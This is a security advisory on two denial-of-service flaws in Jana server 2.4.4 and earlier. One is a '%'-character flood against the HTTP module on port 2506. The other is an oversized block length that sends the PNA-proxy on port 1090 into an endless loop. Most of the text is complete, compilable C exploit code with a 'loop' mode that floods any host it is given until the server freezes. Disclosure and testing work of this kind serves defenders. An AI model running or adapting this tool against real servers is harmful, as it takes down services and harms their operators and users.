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Jana server 2 is "a Windows server with a lot of modules that can handle HTTP, FTP, Mail, proxy and many other protocols".
Two vulnerabilities in the Jana product allows a remote attacker to cause the program to consume large amounts of CPU time by sending the product malformed data. |
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Credit:
The information has been provided by Luigi Auriemma.
The original article can be found at: http://aluigi.altervista.org/adv/janados-adv.txt
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Vulnerable Systems:
* Jana server version 2.4.4 and prior
Immune Systems:
* Jana server version 2.4.5 or newer
The HTTP-server module (port 2506) doesn't correctly handle a large amount of % chars, causing the program to continually allocate and free memory until while consuming large amount of CPU time.
The PNA-proxy module (port 1090), used to handle Real player requests, can be caused to enter into an endless loop whenever an attacker specifies a data block size (a 16 bits value) bigger then the data really is.
Exploit:
/*
by Luigi Auriemma - http://aluigi.altervista.org/poc/janados.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define CHR '%'
#define GET1 "GET /"
#define GET2 " HTTP/1.0\r\n" \
"\r\n"
#define BOOMSZ 300000
#define PNACPU 3
#define TIMEOUT 3
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
attack,
loop = 0;
u_short port;
u_char *buff;
setbuf(stdout, NULL);
fputs("\n"
"Jana Server <= 2.4.4 http/pna DoS "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 4) {
printf("\n"
"Usage: %s <attack> <server> <port> [loop]\n"
"\n"
"Attack:\n"
" 1 = http-server (temporary) CPU at 100%%, port 2506\n"
" 2 = full server freeze caused by loop in pna-proxy, port 1090\n"
"\n"
"Example check: janados 1 localhost 2506\n"
"Example loop: janados 1 localhost 2506 loop\n"
"\n", argv[0]);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
attack = atoi(argv[1]);
if(attack == 1) {
printf(
"- http-server attack\n"
"- build HTTP request containing %d chars '%c'\n",
BOOMSZ, CHR);
len = sizeof(GET1) - 1 + BOOMSZ + sizeof(GET2);
buff = malloc(len);
if(!buff) std_err();
memcpy(buff, GET1, sizeof(GET1) - 1);
memset(buff + sizeof(GET1) - 1, CHR, BOOMSZ);
memcpy(buff + sizeof(GET1) - 1 + BOOMSZ, GET2, sizeof(GET2));
} else if(attack == 2) {
fputs("- pna-proxy attack\n", stdout);
buff = malloc(PNACPU);
if(!buff) std_err();
memset(buff, '\x7f', PNACPU); // 0x7f7f, integer value
len = PNACPU;
} else {
fputs("\nError: wrong type of attack chosen\n\n", stdout);
exit(1);
}
port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
if(argc > 4) {
loop = 1;
fputs("- mega loop activated\n", stdout);
}
for(;;) {
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
printf("- connect to %s:%hu ... ",
inet_ntoa(peer.sin_addr), port);
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputs("ok\n", stdout);
fputs("- send malformed request\n", stdout);
if(send(sd, buff, len, 0)
< 0) std_err();
if(!loop) break;
close(sd);
}
fputs("- check server:\n", stdout);
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
return(0);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
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